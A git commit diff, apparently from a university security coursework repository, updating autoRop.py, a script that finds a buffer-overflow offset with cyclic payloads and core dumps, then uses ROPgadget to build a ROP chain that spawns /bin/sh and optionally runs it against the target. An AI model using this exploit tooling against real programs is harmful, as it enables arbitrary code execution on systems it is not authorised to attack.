jack/security-cw
1
0
Fork 0
Code Issues Pull Requests Packages Projects Releases Wiki Activity

ROPgadget now writes to file itself, QOL changes in autoRop

Browse Source
This commit is contained in:
Jack Bond-Preston
2020-11-27 01:18:51 +00:00
parent d191eac742
commit e9245580e6
5 changed files with 97 additions and 79 deletions
Download Patch File Download Diff File Expand all files Collapse all files

35
autoRop.py
View File

@ -34,23 +34,29 @@ print(r'''
arg_parser = argparse.ArgumentParser(description="Run an automated ROP on an executable")
arg_parser.add_argument("exec_file", metavar="exec_file", type=str, help="The executable file to exploit")
arg_parser.add_argument("rop_file", metavar="rop_file", type=str, help="The name of the generated ROP input file")
arg_parser.add_argument("--rop_file", metavar="rop_file", default="rop.txt", type=str, help="The name of the generated ROP input file")
arg_parser.add_argument("--rop_exec", metavar="rop_exec", default="/bin/sh", type=str, help="The path to the executable the ROP should run")
arg_parser.add_argument("--min_payload", metavar="min", default=32, type=int, help="The minimum payload length to try")
arg_parser.add_argument("--max_payload", metavar="max", default=16384, type=int, help="The maximum payload length to try")
arg_parser.add_argument("--run", action="store_true", default=False, help="Automatically run the ROP on the executable")
args = arg_parser.parse_args()
exec_file = args.exec_file
rop_file = args.rop_file
rop_exec = args.rop_exec
min_payload = args.min_payload
max_payload = args.max_payload
run = args.run
def find_offset(exec_file: str, min_payload: int, max_payload: int):
input_file = "input.txt"
print("[ Find Offset Length ]")
input_file = "/tmp/input.txt"
payload_size = min_payload
while payload_size <= max_payload:
print(f"[🤔] Trying payload {payload_size}...")
print(f" ├─[🤔] Trying payload {payload_size}...")
with open(input_file, "wb") as f:
payload = cyclic(payload_size)
@ -66,7 +72,7 @@ def find_offset(exec_file: str, min_payload: int, max_payload: int):
if core is not None and pack(core.eip) in payload:
offset = cyclic_find(core.eip)
print(f"[😳] Found offset at {offset}!\n")
print(f" └─[😳] Found offset at {offset}!\n")
return offset
payload_size *= 2
@ -76,25 +82,28 @@ def find_offset(exec_file: str, min_payload: int, max_payload: int):
offset = find_offset(exec_file, min_payload, max_payload)
if offset == -1:
print(f"[😞] Failed to find offset. Try increasing the payload bounds and ensuring core dumps are enabled!")
print(f" └─[😞] Failed to find offset. Try increasing the payload bounds and ensuring core dumps are enabled!")
sys.exit(0)
print(f"[🤔] Running ROPgadget with offset {offset}...")
print("[ Generate ROP ]")
print(f" ├─[🤔] Running ROPgadget with offset {offset}...")
result = subprocess.run(
[
"ROPgadget",
"--binary", exec_file,
"--ropchain",
"--silent",
"--paddingLen", str(offset)
"--paddingLen", str(offset),
"--ropFile", rop_file,
"--execPath", rop_exec
],
stdout = subprocess.PIPE
)
with open("script.py", "wb") as f:
f.write(result.stdout)
print(f" └─[🤩] All done! The ROP input is saved to {rop_file}!")
print(f"[🤔] Running generated script to create ROP input file...")
process(["python3", "script.py", rop_file]).wait()
print(f"[🤩] All done! The ROP input is saved to {rop_file}!")
if run:
print()
print(f"[ Run Program : ./{exec_file} {rop_file} ]")
os.execv(exec_file, [exec_file, rop_file])